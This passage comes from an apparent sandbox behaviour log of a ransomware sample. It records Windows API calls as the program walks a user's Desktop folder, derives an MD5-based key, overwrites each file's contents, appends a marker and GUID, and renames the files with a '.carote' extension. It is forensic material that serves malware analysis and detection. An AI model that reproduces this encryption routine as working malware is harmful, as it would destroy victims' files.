lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.546] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.546] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.546] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.547] CloseHandle (hObject=0x61c) returned 1 [0112.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0112.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b182e0 [0112.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0112.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\ms3o6q-3xW GcAnXpq.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ms3o6q-3xw gcanxpq.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\ms3o6q-3xW GcAnXpq.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ms3o6q-3xw gcanxpq.gif.carote")) returned 1 [0112.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.548] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.549] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c70e2c0, ftCreationTime.dwHighDateTime=0x1d4d57e, ftLastAccessTime.dwLowDateTime=0x56f24b60, ftLastAccessTime.dwHighDateTime=0x1d4d177, ftLastWriteTime.dwLowDateTime=0x56f24b60, ftLastWriteTime.dwHighDateTime=0x1d4d177, nFileSizeHigh=0x0, nFileSizeLow=0x65cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r5Pp7fI T0KSM.png", cAlternateFileName="R5PP7F~1.PNG")) returned 1 [0112.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.549] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.549] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.549] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\r5Pp7fI T0KSM.png") returned=".png" [0112.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\r5Pp7fI T0KSM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\r5pp7fi t0ksm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.550] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=26060) returned 1 [0112.550] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.552] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x65a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.552] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.553] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.553] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.553] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.553] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x65cc, lpOverlapped=0x0) returned 1 [0112.554] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.554] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.554] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.554] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.555] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.555] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.555] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.555] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.555] GetLastError () returned 0x0 [0112.555] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.555] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x65d0) returned 0x7b182e0 [0112.555] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.555] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x65c7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x65c7, lpOverlapped=0x0) returned 1 [0112.555] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.556] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x65cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.556] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.556] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.556] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.556] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.556] CloseHandle (hObject=0x61c) returned 1 [0112.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0112.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\r5Pp7fI T0KSM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\r5pp7fi t0ksm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\r5Pp7fI T0KSM.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\r5pp7fi t0ksm.png.carote")) returned 1 [0112.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.557] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.559] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c848b0, ftCreationTime.dwHighDateTime=0x1d4cd4d, ftLastAccessTime.dwLowDateTime=0x50df8800, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0x50df8800, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x151ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UBEx-NT eGDNRaXEsmrT.mkv", cAlternateFileName="UBEX-N~1.MKV")) returned 1 [0112.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0112.559] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.559] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\UBEx-NT eGDNRaXEsmrT.mkv") returned=".mkv" [0112.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\UBEx-NT eGDNRaXEsmrT.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ubex-nt egdnraxesmrt.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.559] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=86446) returned 1 [0112.559] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.561] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15188, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.561] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.562] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.562] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x151ae, lpOverlapped=0x0) returned 1 [0112.563] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.563] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.563] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.563] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.564] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.564] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.564] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.564] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.564] GetLastError () returned 0x0 [0112.564] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.564] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x151b0) returned 0x7b182e0 [0112.564] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.565] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x151a9, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x151a9, lpOverlapped=0x0) returned 1 [0112.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.565] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x151ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.565] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.565] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.565] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.565] CloseHandle (hObject=0x61c) returned 1 [0112.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0112.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b182e0 [0112.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0112.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\UBEx-NT eGDNRaXEsmrT.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ubex-nt egdnraxesmrt.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\UBEx-NT eGDNRaXEsmrT.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_8df4hnvb0c0rcpz-gv\\ubex-nt egdnraxesmrt.mkv.carote")) returned 1 [0112.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.567] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0112.568] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c848b0, ftCreationTime.dwHighDateTime=0x1d4cd4d, ftLastAccessTime.dwLowDateTime=0x50df8800, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0x50df8800, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x151ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UBEx-NT eGDNRaXEsmrT.mkv", cAlternateFileName="UBEX-N~1.MKV")) returned 0 [0112.568] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.568] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.568] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 